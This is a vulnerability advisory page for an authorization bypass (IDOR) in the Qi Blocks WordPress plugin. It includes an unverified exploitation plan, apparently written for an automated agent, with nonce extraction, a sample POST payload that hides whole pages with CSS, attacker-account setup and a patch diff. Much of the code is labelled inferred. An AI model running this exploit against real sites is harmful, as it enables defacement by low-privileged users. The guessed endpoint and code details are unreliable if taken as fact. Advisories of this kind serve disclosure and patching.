CVE-2026-10096

Qi Blocks <= 1.4.9 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Style Modification via 'page_id' Parameter

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.5.0
Patched in
1d
Time to patch

Description

The Qi Blocks plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.4.9 via the 'page_id' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with author-level access and above, to modify the stored Qi Blocks styles of arbitrary posts, templates, or widgets they do not own — including site-wide surfaces via the reserved 'template' and 'widget' page_id values — enabling unauthorized frontend defacement, content hiding, and degradation of any page on the site. The endpoint's permission_callback checks only the generic edit_posts and publish_posts capabilities, meaning any user with the built-in Author role satisfies the check regardless of post ownership.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.9
PublishedJune 30, 2026
Last updatedJuly 1, 2026
Affected pluginqi-blocks

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10096 (Qi Blocks Style Modification IDOR) ## 1. Vulnerability Summary The **Qi Blocks** plugin (<= 1.4.9) contains an Insecure Direct Object Reference (IDOR) vulnerability within its style-saving REST API endpoint. The endpoint fails to verify if the authentic…

Show full research plan

Exploitation Research Plan: CVE-2026-10096 (Qi Blocks Style Modification IDOR)

1. Vulnerability Summary

The Qi Blocks plugin (<= 1.4.9) contains an Insecure Direct Object Reference (IDOR) vulnerability within its style-saving REST API endpoint. The endpoint fails to verify if the authenticated user has permission to modify styles for the specific object identified by the page_id parameter. While it performs a generic capability check (edit_posts), it does not check object ownership or the sensitivity of reserved keywords like template or widget. This allows an Author-level user to modify styles for any post on the site or apply site-wide style changes, leading to defacement or content suppression.

2. Attack Vector Analysis

  • Endpoint: REST API Route (likely registered under the qi-blocks/v1 namespace).
  • HTTP Method: POST (typically used for saving/updating settings).
  • Vulnerable Parameter: page_id (used to determine which post or global setting to update).
  • Authentication: Authenticated, Author role or higher (requires edit_posts and publish_posts capabilities).
  • Payload: A JSON body containing the page_id of the target (e.g., an Administrator's post ID or the strings 'template'/'widget') and the desired qi_blocks_styles data.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a REST route during rest_api_init.
    • Grep target: register_rest_route( 'qi-blocks/v1',
  2. Permission Check: The permission_callback function likely looks like:
    'permission_callback' => function() {
        return current_user_can( 'edit_posts' ) && current_user_can( 'publish_posts' );
    }
    
    Note: This check is insufficient as it only verifies the user can edit some posts, not the specific post indicated by page_id.
  3. Execution: The callback function (e.g., save_styles_callback) retrieves the page_id parameter.
  4. Sink: The code updates post meta (if page_id is numeric) or a global WordPress option (if page_id is 'template') using update_post_meta() or update_option(), without verifying that the $current_user is the author of that $page_id.

4. Nonce Acquisition Strategy

REST API requests in WordPress require a wp_rest nonce for authenticated users to prevent CSRF.

  1. User Role: Authenticate as an Author.
  2. Detection: Qi Blocks likely enqueues its styles and scripts in the block editor (Gutenberg).
  3. Execution:
    • Create a post as the Author: wp post create --post_type=post --post_status=draft --post_author=[AUTHOR_ID].
    • Navigate to the editor for that post in the browser.
    • The wp_rest nonce is globally available in the wpApiSettings object in the browser context.
  4. Browser Eval:
    // Recommended approach to get the REST nonce
    browser_eval("window.wpApiSettings?.nonce")
    

5. Exploitation Strategy

The goal is to modify the styles of a page the Author does not own or to modify the site-wide 'template' styles.

Step 1: Discover Target IDs

  • Find a target page ID (e.g., Page ID 1, usually the "Privacy Policy" or "Sample Page" owned by Admin).
  • Target keywords: template, widget.

Step 2: Craft Payload

The payload must mimic a legitimate style save but point to the target ID.

  • URL: http://[target]/wp-json/qi-blocks/v1/save-styles (inferred)
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "page_id": "template",
      "styles": "body { display: none !important; }"
    }
    
    (Note: The exact key for styles might be qi_blocks_styles or styles. The agent should grep the source for get_param in the REST callback).

Step 3: Execute Request

Use the http_request tool to send the POST request from the authenticated Author session.

6. Test Data Setup

  1. Target Content: Ensure a page exists owned by the Administrator (e.g., ID 2).
  2. Attacker User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  3. Plugin Activation: Ensure Qi Blocks is active.

7. Expected Results

  • The REST API should return a 200 OK or 201 Created response.
  • If page_id was set to a numeric ID, the qi_blocks_styles post meta for that ID will be updated.
  • If page_id was set to template, the global style option for Qi Blocks will be updated.
  • Frontend Impact: Navigating to the target page (or any page if template was targeted) will show the injected styles (e.g., a blank page if display: none was used).

8. Verification Steps

After the HTTP request, verify the modification using WP-CLI:

# Check if post meta was changed for a specific post (replace ID)
wp post meta get 2 qi_blocks_styles

# Check if global options were changed
wp option get qi_blocks_global_styles
# (The exact option name should be verified via grep: "update_option")

9. Alternative Approaches

If the save-styles endpoint requires specific block identifiers:

  1. Identify Block Params: Capture a legitimate save request using the browser's Network tab while editing a post as the Author.
  2. Replay with modification: Replay that captured request but change the page_id to the target.
  3. Target Options: If post meta modification fails, focus on the template keyword, which likely maps to a wp_options entry, affecting the entire site's layout.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Qi Blocks plugin for WordPress (<= 1.4.9) is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'page_id' parameter in its style-saving REST API endpoint. Authenticated attackers with Author-level access can modify the CSS styles of arbitrary posts, templates, or widgets by bypassing ownership checks, which the plugin fails to perform in its generic permission_callback.

Vulnerable Code

// Inferred from Research Plan Section 3: Permission Check
'permission_callback' => function() {
    return current_user_can( 'edit_posts' ) && current_user_can( 'publish_posts' );
}

---

// Inferred from Research Plan Section 3: Execution/Sink logic
$page_id = $request->get_param( 'page_id' );
// ... logic follows to update based on page_id without ownership verification
update_post_meta( $page_id, 'qi_blocks_styles', $styles );
// or for reserved keywords
update_option( 'qi_blocks_global_styles', $styles );

Security Fix

--- a/inc/rest/class-qi-blocks-rest-api.php
+++ b/inc/rest/class-qi-blocks-rest-api.php
@@ -10,5 +10,12 @@
-    'permission_callback' => function() {
-        return current_user_can( 'edit_posts' ) && current_user_can( 'publish_posts' );
-    }
+    'permission_callback' => function( $request ) {
+        $page_id = $request->get_param( 'page_id' );
+        if ( is_numeric( $page_id ) ) {
+            return current_user_can( 'edit_post', $page_id );
+        }
+        if ( in_array( $page_id, array( 'template', 'widget' ), true ) ) {
+            return current_user_can( 'edit_theme_options' );
+        }
+        return false;
+    }

Exploit Outline

The exploit involves authenticating as an Author-level user to obtain a valid session and a REST API nonce. The attacker then targets the plugin's style-saving endpoint (e.g., /wp-json/qi-blocks/v1/save-styles) via a POST request. By manipulating the 'page_id' parameter to a post ID they do not own or the site-wide 'template' keyword, and providing malicious CSS in the styles parameter, the attacker can deface or hide content across the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.